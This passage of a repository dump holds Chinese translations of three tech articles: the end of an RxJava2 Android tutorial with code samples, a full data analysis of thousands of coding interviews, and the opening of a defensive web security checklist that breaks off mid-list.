6094-6094/async.waleed.rx I/Android: W\n03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: o\n03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: r\n03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: l\n03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: d\n```\n\n是时候来比较下这俩了。\n\n```\nlist.stream().forEach(s-> System.out.print(s)); // Java8\n\nObservable.fromIterable(list).forEach(s-> Log.i(\"Android\",s)); // Android\n```\n\n在 Java8 中我想要一个东西变成流的形式，我会用 Stream 的 API，但是在 Android 里，我先把那个东西转换成 Observable 然后获取到数据流。\n\n接下来，我们将用 ’l‘ 作为过滤器来处理 Hello World，就像下面这样：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_10-300x263.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_10.jpg)[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_11-300x282.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_11.jpg)In code:\n\n```\nlist.stream()\n        .filter(s -> !s.equals(\"l\"))\n        .forEach(s-> System.out.print(s)); //Java8\n\nObservable.fromIterable(list)\n        .filter(s->!s.equals(\"l\"))\n        .forEach(s-> Log.i(\"Android\",s)); // Android\n\n输出 in Java8: \n     Heo Word\n\n输出 In Android:\n03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: H\n03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: e\n03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: o\n03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: \n03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: W\n03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: o\n03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: r\n03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: d\n```\n\n好。是时候对 Java8 的 Stream API 说再见了。\n\n\n**3. RxJava2 的 Android 示例：**\n\n有一个整数数组，我想让数组中的每个成员变成自身的平方。\n\n如图所示：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_12-288x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_12.png)\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_13-300x275.jpeg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_13.jpeg)\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_14-300x296.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_14.jpg)\n\nAndroid 代码：\n\n```\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n    setContentView(R.layout.activity_main);\n\n    Integer[] data = {1,2,3,4};\n\n    Observable.fromArray(data)\n            .map(value->value*value)\n            .forEach(value-> Log.i(\"Android\",value+\"\"));\n}\n\n```\n\n输出:\n03-12 16:13:32.432 14918-14918/async.waleed.rx I/Android: 1\n03-12 16:13:32.432 14918-14918/async.waleed.rx I/Android: 4\n03-12 16:13:32.432 14918-14918/async.waleed.rx I/Android: 9\n03-12 16:13:32.432 14918-14918/async.waleed.rx I/Android: 16\n\n```\n.map(value->value*value)\n```\n\n这波很稳，我们之前已经用到过相同的概念了。把一个函数式接口传进 map，这个函数简单地将输入的数平方后返回。\n\n```\n.forEach(value-> Log.i(\"Android\",value+\"\"));\n```\n\n稍有常识的人都知道，我们只能在 log 中打印字符串。在上面的代码中，我在整数值的后面添加 ``+\"\"`` 来把他们转换成字符串。\n\n哇哦！我们可以在这个例子中再用一次 map。你们都知道我需要把整数转换成字符串以便打印到 Logcat，但是我现在打算为 map 再写一个函数式接口来完成转换。这意味着我们不需要在数据后面添加 ``+\"\"``了，如下所示：\n\n```\nObservable.fromArray(data)\n        .map(value->value*value)\n        .map(value-> Integer.toString(value))\n        .forEach(string-> Log.i(\"Android\",string));\n```\n\n**4. 如何把命令式代码转化成 RxJava2 Android 代码：**\n\n这里我打算使用一段现实存在于某 APP 的代码，我将使用 Rx Observable 把它转化成响应式（Reactive）代码。这样你很容易就知道怎样开始在自己的项目中使用 Rx 了。重要的东西可能不是很容易理解，但你应该开始动手，这样才会感觉良好。所以，像我在示例代码中提到的那样去使用它们，我会在下一篇文章中详细解释。尝试多去练练手。\n\n示例：\n\n我在一个项目中使用了 [OnBoarding](https://www.google.com/search?q=onboarding+ui&amp) 界面，根据 UI 设计需要在每个 OnBoarding 界面上显示点点，如下图所示：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_15-300x287.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_15.jpg)\n如果你观察得很仔细的话，可以看到我需要将选定的界面对应的点设置成黑色。\n\n命令式编程的代码：\n\n```\nprivate void setDots(int position) {\n    for (int i = 0; i < mCircleImageViews.length; i++) {\n        if (i == position)\n            mCircleImageViews[i].setImageResource(R.drawable.white_circle_solid_on_boarding);\n        else\n            mCircleImageViews[i].setImageResource(R.drawable.white_circle_outline_on_boarding);\n    }\n}\n```\n\n响应式代码（Rx）的代码：\n\n```\npublic void setDots(int position) {\n\n    Observable.fromIterable(circleImageViews)\n            .subscribe(imageView ->\n                    imageView.setImageResource(R.drawable.white_circle_outline_on_boarding));\n    circleImageViews.get(position)\n            .setImageResource(R.drawable.white_circle_solid_on_boarding);\n\n}\n```\n\n在 setDots 函数中，我简单地遍历每个 ImageView 并且把它们设置成白色的空心圈，之后将选定的 ImageView 重新设定为实心圈。\n\n或者，\n\n```\npublic void setDots(int position) {\n\n        Observable.range(0, circleImageViews.size())\n                .filter(i->i!=position)\n                .subscribe(i->circleImageViews.get(i).setImageResource(R.drawable.white_circle_outline_on_boarding)));\n        circleImageViews.get(position)\n                .setImageResource(R.drawable.white_circle_solid_on_boarding);\n}\n```\n\n在这个 setDots 函数中，我把除选定的 ImageView 之外的所有 ImageView 设置为白色空心圈。\n\n之后，将选中的 ImageView 设置为实心圈。\n\n**4. 几个关于把命令式代码转换成响应式代码的技巧：**\n\n为了让大家可以在现有的代码上轻松开始使用 Rx，我写了几个小技巧。\n\n1. 如果代码中有循环的话，用 Observable 替换\n\n```\nfor (int i = 0; i < 10; i++) {\n\n}\n\n==>\n\nObservable.range(0,10);\n```\n\n2. 如果代码中有 if 语句的话，用 Rx 中的 filter 替换\n\n```\nfor (int i = 0; i < 10; i++) {\n    if(i%2==0){\n        Log.i(\"Android\", \"Even\");\n    }\n}\n\n==>\n\nObservable.range(0,10)\n        .filter(i->i%2==0)\n        .subscribe(value->Log.i(\"Android\",\"Event :\"+value));\n```\n\n3. 如果需要把一些数据转换为另一种格式，可以用 map 实现\n\n```\npublic class User {\n    String username;\n    boolean status;\n\n    public User(String username, boolean status) {\n        this.username = username;\n        this.status = status;\n    }\n}\n\nList<User> users = new ArrayList<>();\nusers.add(new User(\"A\",false));\nusers.add(new User(\"B\",true));\nusers.add(new User(\"C\",true));\nusers.add(new User(\"D\",false));\nusers.add(new User(\"E\",false));\n\nfor (User user : users) {\n    if(user.status){\n        user.username = user.username+ \"Online\";\n    }else {\n        user.username = user.username+ \"Offline\";\n    }\n}\n```\n\n在 Rx 中，有很多方法实现上述代码。\n\n使用两个流：\n\n```\nObservable.fromIterable(users)\n        .filter(user -> user.status)\n        .map(user -> user.username + \" Online\")\n        .subscribe(user -> Log.i(\"Android\", user.toString()));\nObservable.fromIterable(users)\n        .filter(user -> !user.status)\n        .map(user -> user.username + \" Offline\")\n        .subscribe(user -> Log.i(\"Android\", user.toString()));\n```\n\n在 map 中使用 if else ：\n\n```\nObservable.fromIterable(users)\n        .map(user -> {\n            if (user.status) {\n                user.username = user.username + \" Online\";\n            } else {\n                user.username = user.username + \" Offline\";\n            }\n            return user;\n        })\n        .subscribe(user -> Log.i(\"Android\", user.toString()));\n```\n\n4. 如果代码中有嵌套的循环：\n\n```\nfor (int i = 0; i < 10; i++) {\n    for (int j = 0; j < 10; j++) {\n        System.out.print(\"j \");\n    }\n    System.out.println(\"i\");\n}\n\n==>\n\nObservable.range(0, 10)\n        .doAfterNext(i-> System.out.println(\"i\"))\n        .flatMap(integer -> Observable.range(0, 10))\n        .doOnNext(i -> System.out.print(\"j \"))\n        .subscribe();\n```\n\n这里用到了 flatmap 这个新的操作符。先仅仅尝试像示例代码中那样使用，我会在下篇文章中解释。\n\n**总结：**\n\n同志们干得好！今天我们学 Rx Android 学得很开心。我们从图画开始，然后使用了 Java8 的流（Stream）。之后将 Java8 的流转换到 RxJava 2 Android 的 Observable。再之后，我们看到了实际项目中的示例并且展示了在现有的项目中如何开始使用 Rx。最后，我展示了一些转换到 Rx 的技巧：把循环用 forEach 替换，把 if 换成 filter，用 map 进行数据转化，用 flatmap 代替嵌套的循环。下篇文章： [Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part5](http://www.uwanttolearn.com/android/dialogue-rx-observable-developer-android-rxjava2-hell-part5/).\n\n希望你们开心，同志们再见！\n\n代码：\n\n1. [Water Stream Example（示例：水流）\n   ](https://gist.github.com/Hafiz-Waleed-Hussain/c4d17174af9881c57f0e1ce676fede2d)\n2. [HelloWorldStream using Java8 Stream API（示例：Java8 Stream 初体验）\n   ](https://gist.github.com/Hafiz-Waleed-Hussain/9f55be929eb0f5e1956e75ac41876a3b)\n3. [HelloWorldStream using Rx Java2 Android（示例：RxJava2 Android 初体验）](https://gist.github.com/Hafiz-Waleed-Hussain/509a32acad909ac1e90b2f83fb4dde5a) | [project level gradle](https://gist.github.com/Hafiz-Waleed-Hussain/57d2708607da67867d9bed7ba9882f5c) | [app level gradle\n   ](https://gist.github.com/Hafiz-Waleed-Hussain/2afd1e597fdc0c204a4adb1b43c165eb)\n4. [ArrayOfIntegers using Rx Java2 Android（示例：用 RxJava2 Android 操作整数数组）](https://gist.github.com/Hafiz-Waleed-Hussain/a3acd794e4942f296531018bdcad2a23) | [project level gradle](https://gist.github.com/Hafiz-Waleed-Hussain/57d2708607da67867d9bed7ba9882f5c) | [app level gradle](https://gist.github.com/Hafiz-Waleed-Hussain/2afd1e597fdc0c204a4adb1b43c165eb)\n\n对于其他所有示例，您可以使用文章中的片段。\n\n \n"
  },
  {
    "path": "TODO/we-analyzed-thousands-of-coding-interviews-heres-what-we-learned.md",
    "content": "\n> * 原文地址：[We analyzed thousands of coding interviews. Here’s what we learned](https://medium.freecodecamp.org/we-analyzed-thousands-of-coding-interviews-heres-what-we-learned-99384b1fda50)\n> * 原文作者：[Aline Lerner](https://medium.freecodecamp.org/@alinelernerllc)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/we-analyzed-thousands-of-coding-interviews-heres-what-we-learned.md](https://github.com/xitu/gold-miner/blob/master/TODO/we-analyzed-thousands-of-coding-interviews-heres-what-we-learned.md)\n> * 译者：[tanglie1993](https://github.com/tanglie1993)\n> * 校对者：[zhangqippp](https://github.com/zhangqippp)、[yzgyyang](https://github.com/yzgyyang)\n\n# 我们对数千个编程面试的分析结果\n\n---\n\n![](https://cdn-images-1.medium.com/max/2000/1*nJCm0Uc5BOq12faK2KR4Dw.jpeg)\n\n**注意：我写了这个帖子中的绝大部分内容，但传说中的 [Dave Holtz](https://twitter.com/daveholtz) 完成了数据处理的主要工作。我们可以在 [他的博客](http://daveholtz.net/) 中看到他的其它成果。**\n\n如果你正在读这个帖子，很有可能，你正打算重新进入疯狂而可怕的技术面试的世界。\n\n也许你是一个在读或刚毕业的学生，即将首次经历面试的流程。也许你是一个有经验的软件工程师，已经有几年没考虑过参加面试了。\n\n无论哪种情况，面试流程的第一步，通常是读一堆在线面试指南（特别是由你感兴趣的公司写的那些），并和朋友们聊起他们面试（作为面试官和面试者）的经验。\n\n更有可能，你在面试流程的“探索性”的第一步中学到的知识，将会告诉你如何准备、如何前往下一步。\n\n这个典型的面试准备流程有一些问题：\n\n- 绝大多数面试指南是从一个公司的角度写的。可能 A 公司很重视高效的代码，而 B 公司更重视的是高级的问题解决能力。除非你一心想去 A 公司，否则你大概不想太侧重于他们所关心的能力。\n- 人们有时会撒谎，虽然可能不是故意的。他们可能会写“我们不关心具体的编程语言”，或是“哪怕答案不正确，解释你的思路也是值得的”。但是，实际上他们未必会这样做！我们并不是说科技公司是故意误导求职者的骗子。我们只是认为：有时候不明显的偏见会偷偷产生，人们甚至没有意识到它。\n- 你从朋友或认识的人那里听到的传闻并不一定有事实根据。很多人认为短的面试意味着失败。同样，每个人都可以回忆起一个很长的面试，在这面试结束后他们以为：“我成功打动了面试官，我肯定可以进入下个阶段”。过去， [我们发现人们衡量自己面试表现的能力相当差](http://blog.interviewing.io/people-are-still-bad-at-gauging-their-own-interview-performance-heres-the-data/)。现在，我们打算直接观察诸如面试时长之类的指标，看看它们是否真的重要。\n\n在我的公司 [interviewing.io](http://interviewing.io) 中，我们用独特的数据驱动方式去分析技术面试及其结果。我们有一个平台，可以让面试者匿名练习技术面试。如果事情顺利，他们可以解锁匿名参加真实面试的功能。他们可以在任何时间参加 Uber、Lyft 和 Twitch等顶级公司的面试。\n\n有意思的是，练习面试和真实面试都发生在 interviewing.io 生态系统内。结果，我们可以收集到相当多的面试数据，用来分析并帮助我们更好地理解技术面试：它们传递的信号，什么有用，什么没有用，以及面试的哪些方面可能真的影响结果。\n\n每一个面试，无论是真实的还是用于练习的，开始时都有面试官和面试者，他们在一个合作式的编程环境中，有语音、文字聊天，以及一块白板。他们可以直接开始讨论技术问题。\n\n面试问题通常属于后端开发电话面试中常见的问题。\n\n**在这些面试中，我们收集发生的一切。包括音频、面试者写的代码的数据和元数据，面试官和面试者对面试过程和对方的评价。**\n\n如果你好奇，你可以在下方看到面试者和面试官的反馈表格的样子 —— 除了一个直接的是/否问题以外，我们还问了不同方面的面试表现（使用 1-4 分的评分表）。\n\n我们还问了面试者一些额外的问题，这部分问题面试官是不知道的。其中一个问题是，面试者以前有没有见过刚才的面试问题。\n\n![](https://cdn-images-1.medium.com/max/1600/1*WG4CovbdT88jxPEqXZBuiQ.png)\n\n面试官反馈表格\n\n![](https://cdn-images-1.medium.com/max/1600/1*FRfeOXn8visxr36sKprDNw.png)\n\n面试者反馈表格\n\n### 结果\n\n在深入探究之前，需要注意：这些结论都是基于观察数据的，这意味着我们不能声称其中有很强的因果关系。但我们仍然可以分享观察到的奇特规律，并且解释我们发现了什么，以便让你做出自己的结论。\n\n#### 以前见过面试问题\n\n> **“我们正在讨论的是练习！”** —— 阿伦·艾弗森\n\n从首要的东西开始。不算很聪明的人就能发现，最好的提升面试表现的方法之一是……练习面试。现在有大量的资源帮助你练习，包括我们自己的。做练习题的主要好处之一是：你被问到没见过的问题的概率会降低。如果你已经做过一两次的话，平衡一棵二叉树就显得不那么可怕了。\n\n我们观察了3000个左右的面试，并把面试者见过与没有见过面试问题的结果相比较。你可以在下面的图中看到结果。\n\n![](https://cdn-images-1.medium.com/max/1600/1*0ha_0_L7WbspbayJet6N1g.png)\n\n**不出意料，见过题目的面试者通过的概率比没有见过的多16.6%。** 这个差异是统计显著的——所有的误差条都表示95%置信区间。\n\n#### 用什么语言编程重要吗？\n\n> **“不爱自己母语的人比野兽和臭鱼更加低等。”** — Jose Rizal\n\n你可能认为，使用不同的语言会使面试得到更好的结果。比如，Python 的可读性会对面试有帮助。或者，有些语言处理数据结构的方式特别干净，会让常见的面试问题变得简单。我们想看看，使用不同的语言是否会对面试结果产生显著影响。\n \n我们把自己平台上的面试按照语言分组，并过滤掉了面试数量小于 5 个的语言（这只删去了少量的几个面试）。然后，我们就可以看到面试结果随语言变化的函数。\n\n分析结果在下表中显示。任何不重叠的置信区间都表示使用不同语言的面试者通过面试的统计学差异。\n\n虽然我们没有把所有语言逐对比较，但是下面的数据显示，总的来说，**不同语言的面试通过率没有显著的差异。**（我们的平台上还有其它的语言，但语言越没名气，我们的数据点就越少。例如，所有用 [Brainfuck](https://en.wikipedia.org/wiki/Brainfuck) 的面试都很成功。开个玩笑。）\n![](https://cdn-images-1.medium.com/max/2000/1*S1-Aj4ZEKgyuihnFftCD6w.png)\n\n我们观察到的最常见的错误之一是：人们选择自己并不熟悉的语言，然后弄错了查看数组长度、遍历数组、创建哈希表之类的基本操作。但这只是我们定性的结论，没有统计数据支持。\n\n当面试者故意选择一种时髦的语言，以试图打动面试官的时候，这种错误对他非常不利。相信我们，选择自己熟悉的语言，比时髦但不熟悉的语言更好。每一次都是这样。\n\n#### 哪怕语言并不重要……使用该公司选用的语言是否有优势？\n\n> **“救命，我已经变成本地人了。”** — Margaret Blaine\n\n总的来说，语言和面试表现并没有特别紧密的关系。这很好。但是对方公司使用的语言可能会影响面试结果。一个使用 Ruby 的公司可能会说：“我们只雇佣 Ruby 程序员，如果你使用 Python 我们就不太可能雇你。”\n\n而在另一方面，一个完全使用 Python 的公司会对使用 Python 的面试者更苛刻——他们完全了解这种语言，可能会因为面试者对 Python 的使用不完全地道而对他有意见。\n\n下面的表和使用不同语言的面试成功率（也是用面试官愿意雇用面试者的概率来表示）的表很相似。但是，这个表是用面试语言是否在公司的技术栈内来分类的。\n\n我们把这个分析限制在 C++, Java 和 Python ，因为这三种语言都有很多公司用和不用它们。**结果并不一致。对于 Python 和 C++而言，面试者使用的语言是否在公司的技术栈内，并不会对成功率产生显著的影响。但是，使用 Java 的面试者在使用 Java 的公司面试时，更有可能成功**(p=0.037)。\n\n那么，为什么公司使用的语言是 Java 时，使用对方公司的语言会有帮助，而 Python 和 C++则没有呢？一个可能的解释是特定编程语言的社区（例如 Java）更看重程序员在该种语言上的工作经验。也有可能是因为使用 Java 的公司的面试官更有可能问出熟悉 Java 的人能回答得更好的问题。\n\n![](https://cdn-images-1.medium.com/max/2000/1*scSrZGC6Zy9a_ij1S0kZsg.png)\n\n#### 你使用什么语言，和别人眼中你的沟通能力有关吗？\n\n> **“精巧地使用一门语言就像使用巫术一样。”** — Charles Baudelaire\n\n虽然语言选择对总体表现的影响不那么大（使用 Java 语言的公司除外），我们很好奇，选择不同的语言是否在其他维度上影响面试结果。\n\n例如，Python 之类非常易读的语言，可能导致面试者能够更好地交流。另外，C++ 之类底层的语言可能使面试者在技术能力上的评分更高。\n\n另外，非常易读或者非常底层的语言，可能使得这两个分数相关（比如，也许有一个 C++ 候选人不能解释清楚自己在做什么，但是写的代码效率很高）。下面的表显示，面试者的技术能力和沟通能力的评分并没有可见的差异，对于各种语言都是如此。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Cin1yM1gw62D2Gl1fhdG-w.png)\n\n**另外，无论如何，技术能力似乎和沟通能力紧密相关——不管什么语言，技术表现很好的面试者沟通能力不好，是很罕见的，反之亦然。**, 这很大程度上拆穿了工程师往往笨拙、语无伦次的谣言。\n\n（我见过的最好的工程师都很擅长分解复杂的概念，并把它们向外行解释。为什么总有人认为优秀的程序员不擅社交？我完全想不通。）\n\n#### 面试时长\n\n> **“年轻的时候搞砸各种事情是没有关系的；你的恢复能力还很强。”** — Harold Prince\n\n我们都经历过结束一场面试时，感觉自己表现很糟糕的情况。 通常，这种发挥不佳的感觉是出于我们自己发现，或者道听途说的经验法则。我们可能发现自己在想：“面试持续的时间不长？这很可能不是个好消息……”或者“我在面试中几乎什么都没有写！我肯定过不了。”使用自己的数据，我们试图研究这些衡量面试表现的经验法则是否有用。\n\n首先，我们观察了面试的时间长度。面试时间短是否意味着面试者表现非常糟糕，面试官只能提早结束？或者，可能面试官不太有时间，或者他很快发现你是一个特别优秀的候选人？下图显示了成功与失败的候选人的面试时长（以分钟计）。\n\n**从表格上我们很快可以看到：成功和失败的面试在时长上并没有差异——成功面试的平均时长是51.00分钟，而失败面试的平均长度是49.95分钟。差异是不显著的**。\n\n（对于本帖子中的每一个比较，我们用 Fisher-Pitman 置换检验来比较平均值的差异。）\n\n![](https://cdn-images-1.medium.com/max/1600/1*kUsYEVIdbSKNWH5Ea-ks_w.png)\n\n#### 代码量\n\n> **“简洁是智慧的灵魂。”** —— 威廉·莎士比亚\n\n你可能经历过完全失败的面试。面试官问你一个你几乎不理解的问题，你问他“二分查找什么？”，并且在整个过程中几乎没有写任何代码。你可能希望纯粹通过聪明、魅力或者高级的问题解决能力通过这个面试。为了检验这种说法是否正确，我们观察了面试者所写代码的长度。下图展示了成功和失败的面试者所写代码的长度。从中很快可以发现，这两者还是很有差别的——失败的面试代码量更少。有两个现象可能导致这个问题。首先，不成功的面试者可能一开始写的代码就比较少。另外，他们可能更倾向于删除很多自己写出的失败的代码。\n\n![](https://cdn-images-1.medium.com/max/2000/1*OyxyeBmyDfMdJaYyCDi6ng.png)\n\n**成功的面试最终的代码平均有 2045 个字符，而不成功的平均只有 1760 个字符。** 这是很大的区别！这个发现是统计显著的，而且很可能不那么令人吃惊。\n\n#### 代码模块化\n\n> **“成熟程序员的标志是，愿意抛弃自己花时间写的代码，如果它没有意义的话。”** — Bram Cohen\n\n除了看看你写了 *多少* 代码以外，我们也可以考虑一下代码的类型。传统的观点是好的程序员不用回收代码——他们写出模块化的代码并不断复用。我们希望知道在面试过程中，有哪些行为是受到鼓励的。我们看了用 Python 进行的面试[5](http://blog.interviewing.io/#guide-fn5)，并且数了最终的版本中代码定义了多少函数。我们想知道，成功的面试者是否定义了更多函数——更多的函数并不是模块化的定义，但根据我们的经验，这是一个标志模块化程度的很强的信号。同样，我们不可能断言其中存在很强的因果联系——也许有的面试官问的问题本身就会导致面试者写出更多或更少的函数。不管怎样，这是一个值得研究的趋势。\n\n下面的图展示了面试官愿意和不愿意雇佣的面试者的 Python 函数数量的对比。很快可以发现，成功和失败的面试在这方面是*有*差别的。成功的面试者会写出更*多*的函数。\n\n![](https://cdn-images-1.medium.com/max/2000/1*tJ71vF6YBjv-fq489afxSg.png)\n\n**就平均水平而言，成功的 Python 面试者定义 3.29 个函数，而不成功的定义了 2.71 个。这个差异是统计显著的。结果是，面试官确实会对写出他们期望的代码的面试者有所奖励。**\n\n#### 你的代码是否运行重要吗？\n\n> **“要快速行动，不要害怕弄坏东西。如果你什么都没有弄坏，你就做得还不够快。”** — 马克·扎克伯格\n\n> **“最强大的debug工具仍然是缜密的思维，以及准确安放的print语句。”*** — Brian Kernighan\n\n对于技术面试，常见的观点是面试官并不真的在乎你的代码是否能够运行——他们关心的是解决问题的技能。我们收集了面试者写的代码是否运行，以及是否能够编译的数据，希望看看我们的数据中是否有这方面的证据。成功与不成功的面试的代码中，含有错误的概率是否有差异？另外，如果面试者犯了很多语法错误，他是否还可以被雇佣？\n\n为了回答这些问题，我们查看了数据。我们把数据限制到超过 10 分钟，并且有超过5份代码被执行的面试。这过滤掉了面试官不希望面试者真的运行代码，或者由于某种原因提前终止的面试。接下来，我们测量了出现错误的代码的比例。[5](http://blog.interviewing.io/#guide-fn5) 当然，这种方式有它的局限性——比如，候选人可能写出能够编译，但是答案稍有不正确的代码。他们也可能得到正确的答案，却把它写到 stderr！虽然如此，这可以帮助我们感觉到它是否有差异。\n\n下面的表给出了数据的一个概要。X 轴显示了所有执行次数中没有错误的代码的比例。所以，如果代码执行了 3 次，但只有 1 条错误信息，就算在 “30% - 40%” 一栏中。Y 轴显示所有面试中，成功和失败的面试处于该区域的比例。看一看下面的表就会发现，平均情况下成功的面试者会写出更多的没有错误的代码。但这种差异是否是显著的呢？\n\n![](https://cdn-images-1.medium.com/max/2000/1*434O4qWrzxlU6YltbN6sIw.png)\n\n就平均水平而言，成功的面试者的代码在 64% 的情况下运行成功（没有产生错误），而不成功的候选人的代码在 60% 的情况下可以成功运行，这个差异当然是显著的。 **同样，我们不能声称有任何因果联系。我们主要学到的是，成功的候选人通常写出的代码能够运行得更好，无论面试官在面试开始时告诉你什么。**\n\n#### 在开始写代码之前是否应该等待一会，整理思路？\n\n> **“不要忘记沉默的力量，不断出现的扰乱人思路的暂停，可能会使你的对手非常紧张。”** — Lance Morrow\n\n我们也很好奇，成功的面试者在过程中是否会放慢节奏。面试问题通常是很复杂的！看到一个问题以后，后退一步去想一个完整的计划，可能比直接跳进去要好。为了验证这种观点是否正确，我们测量了候选人在面试中第一次运行代码的时间。下面是一个直方图，展示了成功和失败的面试者在开始面试之后，第一次运行代码的时间。很快地看一眼，你就可以发现，成功的候选人在开始运行代码之前，会等待得稍微久一点，虽然差别不是很大。\n\n![](https://cdn-images-1.medium.com/max/2000/1*I0npBvlvkI3JVWr5Toi1_g.png)\n\n更准确地说，**就平均水平而言，成功的候选人在整个面试过程的 27% 处第一次运行代码，而不成功的候选人在 23.9% 处首次运行，这个差异是显著的**。当然，这种现象还有其它的解释。例如，也许成功的候选人更擅长把时间花在拍面试官的马屁上。而且，像平常一样，我们也不能声称其中有因果关系——如果你在面试过程中花5分钟时间坐着，什么也不说，这将对你没有什么帮助。但是，这样做会对第一次运行代码的时间产生影响。\n\n### 结论\n\n总而言之，我们试图探究是什么使得面试官说：“你知道吗，我真的想雇佣这个人。”。这个帖子是我们的首次尝试。由于所有的数据都是观察数据，声称其中有因果联系是很困难的。\n\n成功的面试者可能表现出特定的行为，但模仿这些行为并不保证你能成功。但是，这使我们有证据支持（或反对）你在网上看到的关于面试的许多建议。 \n\n除此之外，还有很多事情可以做。这是第一个对我们的数据（在很多层面上，它蕴含着关于面试的宝贵信息）的定量分析。接下来，我们打算做一个更深层、定性的研究，并开始把不同的问题分类，看看哪一类问题含有重要的信号。我们也将分析用户的二级行为，这些行为不是把样本代码做一个回归分析，看看面试时长就可以测量的。\n\n如果你想帮助我们，并想要听一些技术面试，[写信给我](mailto:aline@interviewing.io)！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/web-developer-security-checklist.md",
    "content": "> * 原文地址：[Web Developer Security Checklist](https://simplesecurity.sensedeep.com/web-developer-security-checklist-f2e4f43c9c56)\n> * 原文作者：[Michael O'Brien](https://simplesecurity.sensedeep.com/@sensedeep)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [GangsterHyj](https://github.com/gangsterhyj)\n> * 校对者： [zaraguo](https://github.com/zaraguo), [yzgyyang](https://github.com/yzgyyang)\n\n\n# Web 开发者安全清单\n\n![](https://cdn-images-1.medium.com/max/800/1*UOl3ydmbG1ehgoSpBxdGFA.jpeg)\n\n开发安全、健壮的云端 web 应用程序是**非常困难**的事情。如果你认为这很容易，要么你过着更高级的生活，要么你还正走向痛苦觉醒的路上。\n\n倘若你已经接受 [MVP（最简可行产品）](https://en.wikipedia.org/wiki/Minimum_viable_product) 的开发理念，并且相信能在一个月内创造既有价值又安全的产品 —— 在发布你的“原型产品”之前请再三考虑。在你检查下面列出的安全清单后，意识到你在开发过程中忽视了很多极其重要的安全问题。至少要对你潜在的用户坦诚，让他们知道你并没有真正完成产品，而仅仅只是提供没有充分考虑安全问题的原型。\n\n这份安全清单很简单，绝非覆盖所有方面。它列出了在创建 web 应用时需要考虑的比较重要的安全问题。\n\n如果下面的清单遗漏了你认为很重要的问题，请发表评论。\n\n### **数据库** ###\n\n-  对识别用户身份的数据和诸如访问令牌、电子邮箱地址或账单明细等敏感数据进行加密。\n-  如果数据库支持在空闲状态进行低消耗的数据加密 (如 [AWS Aurora](https://aws.amazon.com/about-aws/whats-new/2015/12/amazon-aurora-now-supports-encryption-at-rest/))，那么请激活此功能以加强磁盘数据安全。确保所有的备份文件也都被加密存储。\n-  对访问数据库的用户帐号使用最小权限原则，禁止使用数据库 root 帐号。\n-  使用精心设计的密钥库存储和分发密钥，不要对应用中使用的密钥进行硬编码。\n-  仅使用 SQL 预备语句以彻底阻止 SQL 注入。例如，如果使用 NPM 开发应用，连接数据库时不使用 npm-mysql ，而是使用支持预备语句的 npm-mysql2 。\n\n### **开发** ###\n\n-  确保已经检查过软件投入生存环境使用的每个版本中所有组件的漏洞，包括操作系统、库和软件包。此操作应该以自动化的方式加入 CI/CD（持续集成/持续部署） 过程。\n-  对开发环境系统的安全问题保持与生产环境同样的警惕，从安全、独立的开发环境系统构建软件。\n\n### **认证** ###\n\n-  确保所有的密码都使用例如 bcrypt 之类的合适的加密算法进行哈希。绝对不要使用自己写的加密算法，并正确地使用随机数初始化加密算法。\n-  使用简单但充分的密码规则以激励用户设置长的随机密码。\n-  使用多因素身份验证方式实现对服务提供商的登录操作。\n\n### **拒绝服务防卫** ###\n\n-  确保对 API 进行 DOS 攻击不会让你的网站崩溃。至少增加速率限制到执行时间较长的 API 路径（例如登录、令牌生成等程序）。\n-  对用户提交的数据和请求在大小和结构上增强完整性限制。\n-  使用类似 [CloudFlare](https://www.cloudflare.com/) 的全局缓存代理服务应用以缓解 